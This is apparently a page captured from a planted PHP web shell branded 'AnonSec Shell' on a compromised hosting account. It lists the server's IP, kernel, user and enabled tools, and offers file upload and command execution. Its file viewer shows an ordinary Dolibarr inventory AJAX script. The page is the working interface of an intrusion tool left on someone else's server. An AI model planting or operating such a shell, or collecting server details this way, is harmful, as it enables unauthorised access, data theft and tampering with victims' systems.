AnonSec Shell
Server IP : 213.186.33.4  /  Your IP : 216.73.216.193
Web Server : Apache
System : Linux webm006.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : awebpaca ( 35430)
PHP Version : 8.5.0
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/awebpaca/Dolibarr/htdocs/product/inventory/ajax/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/awebpaca/Dolibarr/htdocs/product/inventory/ajax/ajax.inventory.php
<?php

require '../../../main.inc.php';
require_once DOL_DOCUMENT_ROOT.'/product/inventory/class/inventory.class.php';

$get = GETPOST('get', 'alpha');
$put = GETPOST('put', 'alpha');

switch ($put) {
	case 'qty':
		if (empty($user->rights->stock->creer)) {
			echo -1; exit;
		}

		$fk_det_inventory = GETPOST('fk_det_inventory');

		$det = new InventoryLine($db);
		if ($det->fetch($fk_det_inventory)) {
			$det->qty_view += GETPOST('qty');
			$res = $det->update($user);

			echo $det->qty_view;
		} else {
			echo -2;
		}

		break;

	case 'pmp':
		if (empty($user->rights->stock->creer) || empty($user->rights->stock->changePMP)) {
			echo -1; exit;
		}

		$fk_det_inventory = GETPOST('fk_det_inventory');

		$det = new InventoryLine($db);
		if ($det->fetch($fk_det_inventory)) {
			$det->new_pmp = price2num(GETPOST('pmp'));
			$det->update($user);

			echo $det->new_pmp;
		} else {
			echo -2;
		}

		break;
}

Anon7 - 2022
AnonSec Team